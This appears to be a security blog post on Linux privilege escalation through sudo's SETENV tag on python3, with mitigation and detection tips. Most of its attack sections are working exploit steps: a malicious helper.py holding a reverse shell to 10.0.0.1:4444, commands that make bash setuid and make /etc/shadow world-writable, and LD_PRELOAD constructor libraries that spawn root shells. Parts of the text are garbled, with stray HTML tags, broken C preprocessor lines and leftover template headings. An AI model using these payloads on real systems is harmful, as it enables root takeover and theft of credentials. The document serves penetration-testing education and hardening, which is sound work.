Listen to this Post

Introduction:
The `sudo` command with the `SETENV` tag allows users to preserve or set environment variables when running commands as root. When a privileged Python script imports a custom module (e.g., helper), an attacker who controls environment variables can hijack the import process or inject malicious shared libraries, leading to arbitrary code execution with root privileges. This article dissects the most impactful abuse paths – Python import hijacking and `LD_PRELOAD` injection – using real commands, code, and step-by-step exploitation guides.
Learning Objectives:
- Understand how `sudo SETENV` combined with Python’s module import mechanism creates a privilege escalation vector.
- Learn to exploit import hijacking via `PYTHONPATH` and shared library injection via
LD_PRELOAD. - Identify mitigation strategies and harden Linux systems against such attacks.
You Should Know:
- Hijacking Python Imports via `PYTHONPATH` – A Step-by-Step Abuse Path
If `sudo` allows `SETENV` on python3, you can set the `PYTHONPATH` environment variable to a directory you control. When the privileged script executes import helper, Python will search your directory first – allowing you to supply a malicious `helper.py` module.
Step‑by‑step guide:
- Verify sudo configuration: Run `sudo -l` to see if `SETENV` is allowed for `python3` (look for `SETENV: /usr/bin/python3` or similar).
- Create a malicious module: In a writable directory (e.g.,
/tmp), create `helper.py` with a reverse shell payload or arbitrary root command.
Example (`/tmp/helper.py`):
import os, socket, subprocess
os.system('chmod u+s /bin/bash') or run a reverse shell
Reverse shell one-liner:
subprocess.call(['python3', '-c', 'import socket,subprocess,os;s=socket.socket();s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'])
3. Set `PYTHONPATH` and execute the privileged script:
sudo -E PYTHONPATH=/tmp python3 /path/to/privileged_script.py
The `-E` flag preserves the environment. When the script imports helper, it loads `/tmp/helper.py` instead of the intended one.
4. Result: Your code runs as root. If you made `/bin/bash` setuid, run `bash -p` to get a root shell.
Linux commands for detection:
Check sudo privileges sudo -l Look for "SETENV" and "python3" in output Find world-writable directories for payload placement find / -type d -perm -0002 2>/dev/null
2. Leveraging `LD_PRELOAD` for Shared Library Injection
`LD_PRELOAD` forces the dynamic linker to load a specified shared library before any others. If `sudo` allows SETENV, you can point `LD_PRELOAD` to a malicious `.so` file that hooks common library functions (e.g., geteuid, malloc), executing arbitrary code when the Python interpreter starts.
Step‑by‑step guide:
1. Create a malicious C library (`malicious.c`):
define _GNU_SOURCE
include <sys/types.h>
include <unistd.h>
include <stdio.h>
include <stdlib.h>
<strong>attribute</strong>((constructor)) void run_at_load() {
setuid(0);
system("/bin/bash -p");
}
2. Compile it into a shared object:
gcc -shared -fPIC malicious.c -o malicious.so
3. Execute Python with `LD_PRELOAD`:
sudo -E LD_PRELOAD=./malicious.so python3 /path/to/script.py
Or even just `sudo -E LD_PRELOAD=./malicious.so python3` (if the script is not required).
4. Outcome: The constructor function runs before main(), giving you a root shell.
Comparison: `PYTHONPATH` hijacking is simpler (no compilation), but `LD_PRELOAD` works for any dynamically linked binary, not just Python scripts. Both are highly impactful.
- Why Not “Modify sudoers Rules” or “Edit Python Binary”?
- Modify sudoers rules requires write access to `/etc/sudoers` – normally impossible even with `SETENV` unless there is another misconfiguration.
- Edit Python binary would need write permissions to
/usr/bin/python3, which is rarely granted and would leave obvious traces. - Import hijacking & LD_PRELOAD are stealthy, require no file writes to system directories, and leverage legitimate environment variable controls.
4. Mitigation & Hardening Techniques for System Administrators
- Remove unnecessary `SETENV` tags from
sudoers. Use `Defaults !env_reset` carefully. Instead of allowing `SETENV` on Python, run specific scripts via `sudo` without environment inheritance. - Restrict environment variables using `env_keep` and `env_delete` in
sudoers. BlockLD_PRELOAD,LD_LIBRARY_PATH,PYTHONPATH,PYTHONHOME, etc. - Use `sudo` with absolute paths and `–preserve-env=list` to allow only safe variables.
- Audit Python import paths – ensure privileged scripts do not import modules from relative or world‑writable directories.
- Deploy AppArmor or SELinux policies to limit what Python scripts can do even when running as root.
5. Practical Detection Commands (Linux & Cross‑Platform Notes)
Linux – detect potential `SETENV` misuse:
Find sudo entries with SETENV sudo -l | grep -i setenv Monitor environment variable usage in sudo logs grep "sudo.ENV" /var/log/auth.log List all environment variables passed to sudo processes ps auxe | grep sudo
Windows note: While the attack is Linux‑specific, similar concepts exist in Windows with sudo-like tools (e.g., `runas` with preserved environment) or PowerShell’s `Import-Module` from untrusted paths. Always restrict `$env:PYTHONPATH` or `$env:LIB` equivalents in cross‑platform CI/CD environments.
- Cloud & AWS Hacking Context (from HackTricks Training)
The same privilege escalation vector can be exploited in AWS environments where containers run with `sudo` misconfigurations. For example:
– An EC2 instance with a vulnerable `sudoers` rule for a Python script inside a Docker container.
– Lambda functions using a custom runtime that imports helper modules; if SETENV‑like permissions exist via IAM or SSM, an attacker could hijack imports.
Relevant resources from the post:
- HackTricks Training on AWS Hacking: `https://lnkd.in/eEx349UM`
– Free HackTricks Cloud content: `https://lnkd.in/e3DUpHbN`
7. Full Exploit Workflow (End‑to‑End Example)
Assume you have low‑privilege shell access and `sudo -l` shows:
`(ALL) SETENV: /usr/bin/python3`
Attack chain:
1. Create malicious helper module
echo 'import os; os.system("chmod 777 /etc/shadow")' > /tmp/helper.py
<ol>
<li>Execute privileged script with PYTHONPATH hijack
sudo -E PYTHONPATH=/tmp python3 /opt/backup/run_backup.py</p></li>
<li><p>(Alternative) Use LD_PRELOAD if import hijack is blocked
cat > evil.c << EOF
define _GNU_SOURCE
include <stdio.h>
include <stdlib.h>
<strong>attribute</strong>((constructor)) void pwn() { setuid(0); system("/bin/sh"); }
EOF
gcc -shared -fPIC evil.c -o evil.so
sudo -E LD_PRELOAD=./evil.so python3 /opt/backup/run_backup.py
What Undercode Say:
- Key Takeaway 1: `sudo SETENV` on Python is a high‑severity misconfiguration because it allows attackers to control the Python environment – especially `PYTHONPATH` and `LD_PRELOAD` – leading to trivial root code execution.
- Key Takeaway 2: Import hijacking is often overlooked during security audits; always verify that privileged Python scripts do not rely on relative imports or mutable directories. `LD_PRELOAD` remains a universal dynamic linker attack that bypasses many naive restrictions.
Analysis (approx. 10 lines):
The poll options illustrate common Linux privilege escalation knowledge. While modifying sudoers or the Python binary might seem direct, they require write privileges that are rarely available. In contrast, environment‑based attacks (import hijacking and LD_PRELOAD) exploit legitimate features. Among these, import hijacking is the most impactful when the script explicitly imports a module, because it gives immediate code execution in the Python context without needing to compile a shared library. However, `LD_PRELOAD` is more versatile across binaries. In real penetration tests, both techniques are tested. Defenders must enforce strict environment variable whitelisting in `sudoers` and avoid running Python scripts as root whenever possible. The HackTricks training linked in the post provides hands‑on labs that simulate this exact scenario.
Expected Output:
Introduction:
A single misconfigured `sudo` flag can turn a benign Python script into a root access vector. By allowing `SETENV` on python3, administrators inadvertently let attackers hijack module imports or inject malicious shared libraries. This article demonstrates both exploitation methods and provides actionable hardening steps.
What Undercode Say:
- Privilege escalation via `SETENV` is often missed in basic Linux hardening guides; prioritize disabling `SETENV` on interpreters.
- Always run Python scripts with `sudo` using full paths and `env_reset` to strip dangerous environment variables like `PYTHONPATH` and
LD_PRELOAD.
Prediction:
- -1 As cloud ephemeral environments and containers proliferate, misconfigured `sudo` rules will remain a top‑10 Linux privilege escalation vector, with automated scanners increasingly flagging `SETENV` on interpreters as a critical finding.
- +1 The growing awareness through platforms like HackTricks and CTF challenges will drive better default configurations in Linux distributions and cloud hardening guides, reducing the lifetime of such vulnerabilities in production.
- -1 However, legacy systems and hastily written CI/CD pipelines will continue to expose Python import hijacking, especially where developers run build scripts with `sudo -E` for convenience.
- +1 The shift toward immutable infrastructure and policy‑as‑code (e.g., OPA, SELinux) will eventually allow automated remediation of `SETENV` abuse by enforcing least‑privilege environment variables by default.
▶️ Related Video (64% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Linux Security – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


